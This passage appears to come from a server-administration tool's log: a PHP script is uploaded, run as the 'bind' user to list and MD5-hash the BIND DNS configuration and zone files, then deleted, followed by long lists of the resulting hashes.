		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-13 14:45:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp570907; rm /tmp/pkp570907'

2026-06-13 14:45:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-13 14:45:53: Establishing a connection
2026-06-13 14:45:53: Establishing a connection
2026-06-13 14:45:53: 

PUT: /tmp/pkp661595

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-13 14:45:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp661595; rm /tmp/pkp661595'

2026-06-13 14:45:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
